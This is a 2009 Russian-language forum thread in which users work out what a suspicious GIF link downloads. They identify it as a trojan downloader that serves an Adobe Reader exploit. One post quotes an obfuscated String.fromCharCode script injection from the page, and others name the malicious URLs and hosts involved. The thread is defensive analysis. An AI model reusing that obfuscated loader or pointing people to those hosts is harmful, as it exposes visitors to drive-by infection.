прошу проверить ссылку

Discussion in 'Болталка' started by преподователь, 10 Oct 2009.

  1. преподователь

    Reputations:
    0
    http://designemotion.com/images/car.gif вроде безобидная а что то подгружает. я не прошу переходить по ней я прошу узнать что она делает и какие файлы загружаются
     
  2. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    http://www.google.com/search?hl=en&source=hp&q=Trojan-Downloader.JS.Iframe.bra&btnG=Google+Search
     
  3. преподователь

    Reputations:
    0
    не особо понятно что ты хотел сказать ссылкой выше
     
  4. silver34

    silver34 Active Member

    Joined:
    30 Jul 2009
    Messages:
    73
    Likes Received:
    209
    Reputations:
    14
    ТРОЙ там ну еПт....
     
  5. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    воот что там
     
  6. преподователь

    Reputations:
    0
    и это я видел. что это значит?
     
  7. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    478
    Likes Received:
    483
    Reputations:
    99
    подгружает http://itmasterz.org/stats/ru1.php
    сплойт, не ходить!
     
  8. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    wildshaman
    Под какие браузеры сплойт? (что то не могу понять)
     
  9. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    478
    Likes Received:
    483
    Reputations:
    99
    А это уже смотря какая связка)
     
  10. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Это понятно =) доктор веб знает сплойт как Trojan.DownLoad.33830
     
  11. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    478
    Likes Received:
    483
    Reputations:
    99
    2вариус, ахаххаа, такдже смотришь, чреез вьюсурс хрмоа? :D
     
  12. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,697
    Likes Received:
    3,139
    Reputations:
    236
    gold-goblin, все высветилось ;)

    <img src="WorleyVision5.jpg"> <script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,106,115,46,106,115,34,62,60,47,115,99,114,105,112,116,62))</script>
     
  13. преподователь

    Reputations:
    0
    ладно господа с вас толку нету. вирешарк помог посмотреть принятые пакеты с ip 210.51.166.249 (отправленных нету) но ничего путевого там нету
     
  14. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    так что тебе надо?
     
  15. -Unlocked-

    -Unlocked- Elder - Старейшина

    Joined:
    6 Dec 2008
    Messages:
    32
    Likes Received:
    222
    Reputations:
    33
    Да ты крут, тс. :(
    С нас толку нету. :(
    Мандуй подальше. :( А то ты унылый какой-то. :(
     
  16. преподователь

    Reputations:
    0
    мне нужно имя файла который был подгружен.
     
  17. преподователь

    Reputations:
    0
    с тебя его вообще нету. так что сейчас бану тебе на месяц выдам. утомил.
     
  18. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    о_О егорыч????? =)))
     
  19. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,697
    Likes Received:
    3,139
    Reputations:
    236
    вот же, присласе некоему посетитить наш форум.
    ты понял, о чем!
     
  20. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    По-моему там сплоит под Adobe Reader, который подгружается с помощью PHP-скрипта, зашифрованного в запросе. GIF здесь выступает в роли редиректа на скрипт и на поддельную картинку JPG с машинкой. Алсо, внимательно читайте Гугл, этот вопрос уже обсуждался не раз.